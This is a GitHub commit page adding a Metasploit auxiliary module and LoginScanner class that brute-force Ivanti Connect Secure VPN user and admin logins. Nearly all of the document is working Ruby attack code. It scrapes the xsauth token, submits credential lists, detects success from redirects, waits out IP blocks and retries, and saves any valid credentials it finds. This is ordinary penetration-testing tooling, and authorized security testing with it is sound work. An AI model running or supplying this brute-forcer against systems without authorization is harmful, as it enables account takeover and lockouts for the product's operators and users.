Skip to content

Commit ba8d5b7

Browse files
authored
Land rapid7#19844, Add Ivanti Connect Secure HTTP Login Module
Land rapid7#19844, Add Ivanti Connect Secure HTTP Login Module
2 parents 88ba2de + 46d2d4c commit ba8d5b7

File tree

3 files changed

+276
-0
lines changed

3 files changed

+276
-0
lines changed
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
## Description
2+
3+
The module performs bruteforce attack against Ivanti Connect Secure.
4+
It allows to attack both regular user and admin as well - you can select which type of account to attack with `ADMIN` parameter.
5+
6+
## Vulnerable Application
7+
8+
- [Ivanti](https://www.ivanti.com/products/connect-secure-vpn)
9+
10+
## Verification Steps
11+
12+
1. `use auxiliary/scanner/ivanti/login_scanner`
13+
2. `set RHOSTS [IP]`
14+
3. either `set USERNAME [username]` or `set USERPASS_FILE [usernames file]`
15+
4. either `set PASSWORD [password]` or `set PASS_FILE [passwords file]`
16+
5. `set ADMIN [attack admin?]`
17+
6. `run`
18+
19+
Lines changed: 169 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,169 @@
1+
require 'metasploit/framework/login_scanner/http'
2+
3+
module Metasploit
4+
module Framework
5+
module LoginScanner
6+
# Ivanti Login Scanner supporting
7+
# - User Login
8+
# - Admin Login
9+
class Ivanti < HTTP
10+
11+
def initialize(scanner_config, admin)
12+
@admin = admin
13+
super(scanner_config)
14+
end
15+
16+
def create_admin_request(username, password, token, protocol, peer)
17+
{
18+
'method' => 'POST',
19+
'uri' => normalize_uri('/dana-na/auth/url_admin/login.cgi'),
20+
'ctype' => 'application/x-www-form-urlencoded',
21+
'headers' =>
22+
{
23+
'Origin' => "#{protocol}://#{peer}",
24+
'Referer' => "#{protocol}://#{peer}/dana-na/auth/url_admin/welcome.cgi"
25+
},
26+
'vars_post' => {
27+
tz_offset: '60',
28+
xsauth_token: token,
29+
username: username,
30+
password: password,
31+
realm: 'Admin+Users',
32+
btnSubmit: 'Sign+In'
33+
34+
},
35+
'encode_params' => false
36+
}
37+
end
38+
39+
def do_admin_logout(cookies)
40+
admin_page_res = send_request({ 'method' => 'GET', 'uri' => normalize_uri('/dana-admin/misc/admin.cgi?'), 'cookie' => cookies })
41+
admin_page_s = admin_page_res.to_s
42+
re = /xsauth=[a-z0-9]{32}/
43+
xsauth = re.match(admin_page_s)
44+
45+
return nil if xsauth.nil?
46+
47+
send_request({ 'method' => 'GET', 'uri' => normalize_uri('/dana-na/auth/logout.cgi?' + xsauth[0]), 'cookie' => cookies })
48+
end
49+
50+
def get_token
51+
res = send_request({
52+
'uri' => normalize_uri('/dana-na/auth/url_admin/welcome.cgi')
53+
})
54+
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if res.nil?
55+
56+
html_document = res.get_html_document
57+
html_document.xpath('//input[@id="xsauth_token"]/@value')&.text
58+
end
59+
60+
def do_admin_login(username, password)
61+
token = get_token
62+
63+
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if token.blank?
64+
65+
protocol = ssl ? 'https' : 'http'
66+
peer = "#{host}:#{port}"
67+
admin_req = create_admin_request(username, password, token, protocol, peer)
68+
begin
69+
res = send_request(admin_req)
70+
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError => e
71+
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e }
72+
end
73+
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if res.nil?
74+
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: "Received an unexpected status code: #{res.code}" } if res.code != 302
75+
76+
return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s } if res.headers['location'] == '/dana-na/auth/url_admin/welcome.cgi?p=admin%2Dconfirm'
77+
78+
if res.headers['location'] == '/dana-admin/misc/admin.cgi'
79+
do_admin_logout(res.get_cookies)
80+
return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s }
81+
end
82+
83+
return { status: ::Metasploit::Model::Login::Status::INCORRECT, proof: res.to_s }
84+
end
85+
86+
def create_user_request(username, password, protocol, peer)
87+
{
88+
'method' => 'POST',
89+
'uri' => normalize_uri('/dana-na/auth/url_default/login.cgi'),
90+
'ctype' => 'application/x-www-form-urlencoded',
91+
'headers' =>
92+
{
93+
'Origin' => "#{protocol}://#{peer}",
94+
'Referer' => "#{protocol}://#{peer}/dana-na/auth/url_default/welcome.cgi"
95+
},
96+
'vars_post' =>
97+
{
98+
tz_offset: '',
99+
win11: '',
100+
clientMAC: '',
101+
username: username,
102+
password: password,
103+
realm: 'Users',
104+
btnSubmit: 'Sign+In'
105+
},
106+
'encode_params' => false
107+
}
108+
end
109+
110+
def do_logout(cookies)
111+
send_request({ 'uri' => normalize_uri('/dana-na/auth/logout.cgi?delivery=psal'), 'cookie' => cookies })
112+
end
113+
114+
def do_login(username, password)
115+
protocol = ssl ? 'https' : 'http'
116+
peer = "#{host}:#{port}"
117+
user_req = create_user_request(username, password, protocol, peer)
118+
begin
119+
res = send_request(user_req)
120+
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError => e
121+
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e }
122+
end
123+
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if res.nil?
124+
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: "Received an unexpected status code: #{res.code}" } if res.code != 302
125+
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unexpected response' } if res.blank?
126+
127+
if res.headers['location'] == '/dana-na/auth/url_default/welcome.cgi?p=ip%2Dblocked'
128+
sleep(2 * 60) # 2 minutes
129+
res = send_request(user_req)
130+
end
131+
132+
return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s } if res.headers['location'] == '/dana-na/auth/url_default/welcome.cgi?p=user%2Dconfirm'
133+
134+
if res.headers['location'] == '/dana/home/starter0.cgi?check=yes'
135+
do_logout(res.get_cookies)
136+
return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s }
137+
else
138+
return { status: ::Metasploit::Model::Login::Status::INCORRECT, proof: res.to_s }
139+
end
140+
end
141+
142+
# Attempts to login to the server.
143+
#
144+
# @param [Metasploit::Framework::Credential] credential The credential information.
145+
# @return [Result] A Result object indicating success or failure
146+
def attempt_login(credential)
147+
# focus on creating Result object, pass it to #login routine and return Result object
148+
result_options = {
149+
credential: credential,
150+
host: @host,
151+
port: @port,
152+
protocol: 'tcp',
153+
service_name: 'ivanti'
154+
}
155+
156+
if @admin
157+
login_result = do_admin_login(credential.public, credential.private)
158+
else
159+
login_result = do_login(credential.public, credential.private)
160+
end
161+
162+
result_options.merge!(login_result)
163+
Result.new(result_options)
164+
end
165+
166+
end
167+
end
168+
end
169+
end
Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
require 'metasploit/framework/credential_collection'
2+
require 'metasploit/framework/login_scanner/ivanti_login'
3+
4+
class MetasploitModule < Msf::Auxiliary
5+
6+
include Msf::Exploit::Remote::HttpClient
7+
include Msf::Auxiliary::AuthBrute
8+
include Msf::Auxiliary::Report
9+
include Msf::Auxiliary::Scanner
10+
include Msf::Auxiliary::ReportSummary
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Ivanti Connect Secure HTTP Scanner',
17+
'Description' => %q{
18+
This module will perform authentication scanning against Ivanti Connect Secure
19+
},
20+
'Author' => ['msutovsky-r7'],
21+
'License' => MSF_LICENSE,
22+
'DefaultOptions' => {
23+
'RPORT' => 443,
24+
'SSL' => true
25+
},
26+
'Notes' => {
27+
'Stability' => [CRASH_SAFE],
28+
'Reliability' => [],
29+
'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS]
30+
}
31+
)
32+
)
33+
register_options([
34+
OptBool.new('ADMIN', [true, 'Select whether to test admin account', false])
35+
])
36+
end
37+
38+
def get_scanner(ip)
39+
cred_collection = Metasploit::Framework::CredentialCollection.new(
40+
blank_passwords: datastore['BLANK_PASSWORDS'],
41+
pass_file: datastore['PASS_FILE'],
42+
password: datastore['PASSWORD'],
43+
user_file: datastore['USER_FILE'],
44+
userpass_file: datastore['USERPASS_FILE'],
45+
username: datastore['USERNAME'],
46+
user_as_pass: datastore['USER_AS_PASS']
47+
)
48+
configuration = configure_http_login_scanner(
49+
host: ip,
50+
port: datastore['RPORT'],
51+
cred_details: cred_collection,
52+
stop_on_success: datastore['STOP_ON_SUCCESS'],
53+
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
54+
connection_timeout: datastore['HttpClientTimeout'] || 5
55+
)
56+
return Metasploit::Framework::LoginScanner::Ivanti.new(configuration, datastore['ADMIN'])
57+
end
58+
59+
def process_credential(credential_data)
60+
credential_combo = "#{credential_data[:username]}:#{credential_data[:private_data]}"
61+
case credential_data[:status]
62+
when Metasploit::Model::Login::Status::SUCCESSFUL
63+
print_good "#{credential_data[:address]}:#{credential_data[:port]} - Login Successful: #{credential_combo}"
64+
credential_data[:core] = create_credential(credential_data)
65+
create_credential_login(credential_data)
66+
return { status: :success, credential: credential_data }
67+
else
68+
error_msg = "#{credential_data[:address]}:#{credential_data[:port]} - LOGIN FAILED: #{credential_combo} (#{credential_data[:status]})"
69+
vprint_error error_msg
70+
invalidate_login(credential_data)
71+
return { status: :fail, credential: credential_data }
72+
end
73+
end
74+
75+
def run_scanner(scanner)
76+
scanner.scan! do |result|
77+
credential_data = result.to_h
78+
credential_data.merge!(module_fullname: fullname, workspace_id: myworkspace_id)
79+
process_credential(credential_data)
80+
end
81+
end
82+
83+
def run_host(ip)
84+
scanner = get_scanner(ip)
85+
run_scanner(scanner)
86+
end
87+
88+
end

0 commit comments

Comments
 (0)